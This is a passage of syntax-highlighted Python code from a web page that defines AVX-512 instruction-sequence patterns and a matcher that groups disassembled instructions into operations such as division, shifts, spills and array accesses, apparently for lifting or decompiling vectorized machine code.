Inst.VPXORQ, Inst.VPTERNLOGQ, Inst.VPABSQ, Inst.VPANDQ, Inst.VPBROADCASTQ], handle_not, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"not"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_neg = ([Inst.VPXORQ, Inst.VPSUBQ], handle_neg, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"neg"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_div = ([Inst.KMOVB, Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ, Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ,
Inst.VPABSQ, Inst.VPABSQ, Inst.VFPCLASSPD, Inst.VFPCLASSPD, Inst.KTESTB, [Inst.JZ, Inst.JE], Inst.VCVTQQ2PD, Inst.VCVTQQ2PD,
Inst.VDIVPD, Inst.VPBROADCASTQ, Inst.VCVTTPD2QQ, Inst.JMP, Inst.VMOVQ, Inst.CQO, Inst.VMOVQ, Inst.IDIV, Inst.VPBROADCASTQ,
], handle_div_mod, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"div"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_mod = ([Inst.KMOVB, Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ, Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ,
Inst.VPABSQ, Inst.VPABSQ, Inst.VFPCLASSPD, Inst.VFPCLASSPD, Inst.KTESTB, [Inst.JZ, Inst.JE], Inst.VCVTQQ2PD, Inst.VCVTQQ2PD,
Inst.VDIVPD, Inst.VPBROADCASTQ, Inst.VCVTTPD2QQ,
Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ, Inst.VPMULLQ, Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ, Inst.VPSUBQ,
Inst.JMP, Inst.VMOVQ, Inst.CQO, Inst.VMOVQ, Inst.IDIV, Inst.VPBROADCASTQ,
], </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x,y,z : handle_div_mod(x,y,z, is_mod=</span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">True</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">), </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mod"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_assign = ([Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ], handle_assign, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"assign"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_jcc = ([[Inst.MOV, Inst.VPCOMPRESSQ], Inst.VPBROADCASTQ,
[Inst.VPCMPQ, Inst.VPCMPGTQ, Inst.VPCMPEQQ], Inst.KTESTB], handle_jcc, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"jcc"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_shifts = ([[Inst.VPSLLQ, Inst.VPSRAQ, Inst.VPSRLQ]], handle_shift, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"shifts"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_var_shifts = ([Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ,
[Inst.VPSLLVQ, Inst.VPSRAVQ, Inst.VPSRLVQ]], handle_shift_var, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"var_shifts"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_broadcast = ([Inst.VPBROADCASTQ], handle_broadcast, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"broadcast"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_spill = ([Inst.VPCOMPRESSQ, Inst.VMOVQ], handle_spill, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"spill"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_stack_spill = ([Inst.SUB, Inst.VMOVDQU64], handle_avx_spill_reloads, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"stack_spill"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_stack_reload = ([Inst.VMOVDQU64, Inst.ADD], handle_avx_spill_reloads, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"stack_reload"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_stack_reload_variant = ([Inst.KNOTB, Inst.VMOVDQU64, Inst.ADD], handle_avx_spill_reloads, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"stack_reload_variant"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># array initilization don't need pattern matching, that shouldn't be too bad to recognize</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
match_arr_idx = ([Inst.LEA, Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ, Inst.VPGATHERQQ], handle_arr_idx, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"arr_idx"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_arr_addr = ([Inst.LEA, Inst.VPBROADCASTQ, Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ, Inst.VPSLLQ, Inst.VPADDQ],
handle_arr_addr, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"arr_addr"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_ld_ptr = ([Inst.XOR, Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ, Inst.VPGATHERQQ], handle_load, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"ld_ptr"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_st_ptr = ([Inst.XOR, Inst.VPCOMPRESSQ, Inst.VPCOMPRESSQ, Inst.VPSCATTERQQ], handle_store, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"st_ptr"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_arr_init_1 = ([Inst.LEA, Inst.LEA, Inst.VMOVDQU64, Inst.VMOVDQU64], handle_arr_init,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"handle_arr_init_1"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">True</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, match_arr_init_var)
match_arr_init_2 = ([Inst.LEA, Inst.LEA, Inst.VMOVQ, Inst.VMOVQ], handle_arr_init,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"handle_arr_init_2"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">True</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, match_arr_init_var)
match_zarr_init1 = ([Inst.LEA, Inst.VPXORQ, Inst.VMOVDQU64], handle_zarr_init,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"handle_arr_init_1"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">True</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, match_zarr_init_var)
match_zarr_init2 = ([Inst.LEA, Inst.VPXORQ, Inst.VMOVQ], handle_zarr_init,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"handle_arr_init_2"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">True</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, match_zarr_init_var)
patterns = [
match_k_reg_setup,
match_arith_general,
match_risc_cmp, match_not, match_neg,
match_div, match_mod,
match_assign,
match_jcc,
match_broadcast, match_spill,
match_shifts, match_var_shifts,
match_stack_reload, match_stack_reload_variant, match_stack_spill,
match_arr_idx, match_arr_addr, match_ld_ptr, match_st_ptr,
match_arr_init_1, match_arr_init_2, match_zarr_init1, match_zarr_init2,
]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">match_helper</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">disas, pattern, variadic, variadic_handler</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> variadic:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(variadic_handler </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">is</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pattern) > </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas) >= </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pattern))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> variadic:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas) == </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pattern))
ind_match = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x, y : x == y </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">or</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">hasattr</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(y, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'__iter__'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">any</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([ind_match(x, _) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> _ </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> y]))
disas = [tokenize(d) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> d </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas]
disas_padded = disas + [</span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] * (</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">max</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas), </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pattern)) - </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">_match_helper</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">():
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x, y </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">zip</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas_padded, pattern):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ind_match(x, y):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">yield</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x
result = [*_match_helper()]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> variadic:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (result, </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(result) == </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pattern))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># initial match</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(result) == </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pattern):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (result + variadic_handler(disas[</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(result):]), </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">True</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (result, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># return lists of tuple (address start, address end), pattern lambda, name, and list of disas</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">identify_matches</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">insts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
results = []
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">check_for_matches</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">rem</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># compare to all remaining disas starting from start</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
valid_patterns = [(rem[:</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(p[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])] </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> p[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> rem, *p) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> p </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> patterns </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(p[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]) <= </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(rem)]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> [*</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">filter</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> r : r[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], [(*match_helper(d, v, var, var_handler), l, n) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> d,v,l,n,var,var_handler </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> valid_patterns])]
start = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">while</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> start < </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(insts):
stub = [i.disas </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> insts[start:]]
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># match to all possible patterns left from this start point</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
matches = check_for_matches([s[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> s </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> stub])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(matches) > </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
maximum = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">max</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(m[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> m </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> matches])
best_match = [*</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">filter</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> m : </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(m[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]) == maximum, [m </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> m </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> matches])]
